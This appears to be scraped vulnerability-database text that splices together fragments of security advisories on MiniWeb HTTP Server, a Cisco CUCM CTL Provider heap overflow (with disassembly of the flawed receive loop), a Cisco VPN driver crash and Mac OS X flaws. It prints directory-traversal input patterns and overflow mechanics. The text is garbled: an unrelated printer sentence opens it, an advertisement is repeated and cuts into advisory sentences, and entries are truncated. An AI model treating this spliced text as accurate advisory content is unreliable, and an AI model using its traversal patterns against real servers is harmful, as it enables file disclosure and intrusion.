An attacker can exploit this issue to set arbitrary printer configuration settings and administrative passwords. The impact of a successful exploit will vary depending on the settings reconfigured.

DESCRIPTION:
Hamid Ebadi has discovered two vulnerabilities in MiniWeb HTTP
Server, which can be exploited by malicious people to disclose
sensitive information, to cause a DoS (Denial of Service), or to
potentially compromise a vulnerable system.
1) A boundary error exists within the "_mwProcessReadSocket()"
function in http.c. This can be exploited to cause a heap-based
buffer overflow via a URL that is 3600-4000 characters long.
Successful exploitation of this vulnerability allows performing a DoS
(Denial of Service) or the potential execution of arbitrary code.
2) Input passed in the URL to the "mwGetLocalFileName()" function in
http.c is not properly sanitised before being used. This can be
exploited to display arbitrary files with directory traversal attacks
of the form ".%2e/.%2e/" or "%2e%2e/%2e%2e/".
The vulnerabilities are confirmed in version 0.8.19.

| VAR-200801-0007 | CVE-2008-0027 | Cisco Unified Communications Manager (CUCM) and CallManager Heap overflow vulnerability |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Heap-based buffer overflow in the Certificate Trust List (CTL) Provider service (CTLProvider.exe) in Cisco Unified Communications Manager (CUCM) 4.2 before 4.2(3)SR3 and 4.3 before 4.3(1)SR1, and CallManager 4.0 and 4.1 before 4.1(3)SR5c, allows remote attackers to cause a denial of service or execute arbitrary code via a long request. Cisco Unified Communications Manager (CUCM) and CallManager Contains a heap overflow vulnerability.
Attackers can exploit this issue to execute arbitrary code or to cause denial-of-service conditions. Authentication is not
required to exploit this vulnerability. The service operates
over a SSL encrypted transport. Due to a logic flaw in the way data is
received in a loop a heap allocation can be arbitrarily overflown
resulting in the control of subsequent heap chunks.
The vulnerability is due to a loop that occurs during receive of socket
data. An initial buffer is allocated at 0x19000 bytes, as can bee seen
here.
.text:00406077 191A8 68+ push 19000h
; size_t
.text:0040607C 191AC FF+ call ds:__imp_malloc

.text:00406088 1919C 85+ test eax, eax
.text:0040608A 1919C 0F+ jz loc_406238
Once allocated data is read in 0x19000 chunks. If more than 0x4000
bytes of data are left on the socket we loop again as can be seen
here.
.text:004060A5 191AC FF+ push dword ptr [ebp-14h]
; size_t

.text:004060EE 191A0 68+ push 10000h
.text:004060F3 191A4 E9+ jmp loc_405FFF
This will continue until heap chunks are overwritten at the users
control, which can be exploited to overwrite memory and further lead to
arbitrary code execution.

Details
=======
Cisco Unified Communications Manager (CUCM) is the call processing
component of the Cisco IP telephony solution that extends enterprise
telephony features and functions to packet telephony network devices,
such as IP phones, media processing devices, voice-over-IP (VoIP)
gateways, and multimedia applications. The CTL contains public keys and other
information to allow the Cisco IP Phone devices to establish a
trusted relationship with a CUCM server. The CTL is provisioned using
the CTL Provider service on a CUCM server and with the CTL Provider
client on an administrator workstation. The CTL Provider service
needs to be enabled during the initial configuration of a CUCM server
/cluster or when changes are required to the CTL. Please consult the
Workarounds section of this advisory for information on how to
determine if the CTL Provider service is enabled on a CUCM server. The CTL Provider
service listens on TCP port 2444 by default, but the port can be
modified by the user. This issue is documented in Cisco Bug ID
CSCsj22605.

Impact
======
Successful exploitation of this vulnerability may result in a DoS
condition or the execution of arbitrary code.
Software Versions and Fixes
===========================
When considering software upgrades, also consult
http://www.cisco.com/go/psirt and any subsequent advisories to
determine exposure and a complete upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
Workarounds
===========
It is possible to workaround the vulnerability by disabling the CTL
Provider service when not in use. Access to the CTL Provider service
is required for the initial configuration of the CUCM authentication
and encryption features, or during configuration updates. For the
CUCM 4.x systems, please consult the following documentation for
details on how to disable the CUCM services:
http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_administration_guide_chapter09186a008070ec49.html
Filtering traffic to the affected CUCM systems on screening devices
can be used as a mitigation technique for this vulnerability. To
mitigate the CTL Producer service overflow, access to TCP port 2444
should be permitted only between the CUCM servers and administrator
workstations running the CTL Provider client. There is currently no
supported method to configure filtering directly on a CUCM system.
It is possible to change the default ports of the CTL Provider (TCP
port 2444) service. If changed, filtering should be based on the port
value used. The value of the port can be viewed in CUCM
Administration interface by following the System > Service Parameters
menu and selecting the CTL Provider service.
Filters blocking access to TCP port 2444 should be deployed at the
network edge as part of a transit access control list (tACL). Further
information about transit access control lists is available in the
white paper "Transit Access Control Lists: Filtering at Your Edge,"
which is available at the following link:
http://www.cisco.com/en/US/tech/tk648/tk361/technologies_white_paper09186a00801afc76.shtml
Additional mitigations that can be deployed on Cisco devices within
the network are available in the Cisco Applied Mitigation Bulletin
companion document for this advisory:
http://www.cisco.com/warp/public/707/cisco-amb-20080116-cucmctl.shtml
Obtaining Fixed Software
========================

| VAR-200801-0305 | CVE-2008-0324 | Cisco Systems VPN Client IPSec Driver (CVPNDRVA.sys) Service disruption in (DoS) Vulnerabilities |
CVSS V2: 4.9 CVSS V3: - Severity: MEDIUM |
Cisco Systems VPN Client IPSec Driver (CVPNDRVA.sys) 5.0.02.0090 allows local users to cause a denial of service (crash) by calling the 0x80002038 IOCTL with a small size value, which triggers memory corruption.
Successfully exploiting this issue allows local attackers to crash affected computers, denying further service to legitimate users.
This issue affects 'cvpndrva.sys' 5.0.02.0090; other versions of the driver may also be affected. Cisco VPN Client is a set of cross-platform VPN client software from Cisco.
----------------------------------------------------------------------
A new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI
has been released. The new version includes many new and advanced
features, which makes it even easier to stay patched. This can be exploited
to cause a memory corruption within kernel space by sending specially
crafted IOCTLs to the affected driver, resulting in a system crash.
The vulnerability is reported in CVPNDRVA.sys version 5.0.02.0090.
SOLUTION:
Restrict access to trusted users.

A new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI
has been released. The new version includes many new and advanced
features, which makes it even easier to stay patched.
1) An unspecified error exists within Foundation in Safari's handling
of URLs. This can be exploited to cause a memory corruption when a
user is enticed to access a specially crafted URL.
Successful exploitation may allow execution of arbitrary code.
2) A weakness exists due to Launch Services allowing users to start
uninstalled applications from a Time Machine Backup.
3) An error in the handling of file:// URLs in Mail can be exploited
to execute arbitrary applications without warning when a user is
enticed to click on a URL within a message.
4) An unspecified error exists within NFS when handling mbuf chains.
This can be exploited to cause a memory corruption and allows a
system shutdown and potential execution of arbitrary code.
5) The problem is that Parental Controls contacts www.apple.com when
a site is unblocked and allows for detection of computers running
Parental Controls.
6) A boundary error in Samba can be exploited by malicious people to
compromise a vulnerable system.
For more information:
SA27760
7) An input validation error exists in Terminal when processing URL
schemes. This can be exploited to launch an application with
arbitrary command line parameters and may allow execution of
arbitrary code when a user visits a specially crafted web page.
8) Multiple vulnerabilities in X11 X Font Server can be exploited by
malicious, local users to gain escalated privileges.
For more information:
SA27040
9) An error exists in X11, which causes certain settings ("Allow
connections from network client") not to be applied.

CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Parental Controls in Apple Mac OS X 10.5 through 10.5.1 contacts www.apple.com "when a website is unblocked," which allows remote attackers to determine when a system is running Parental Controls.
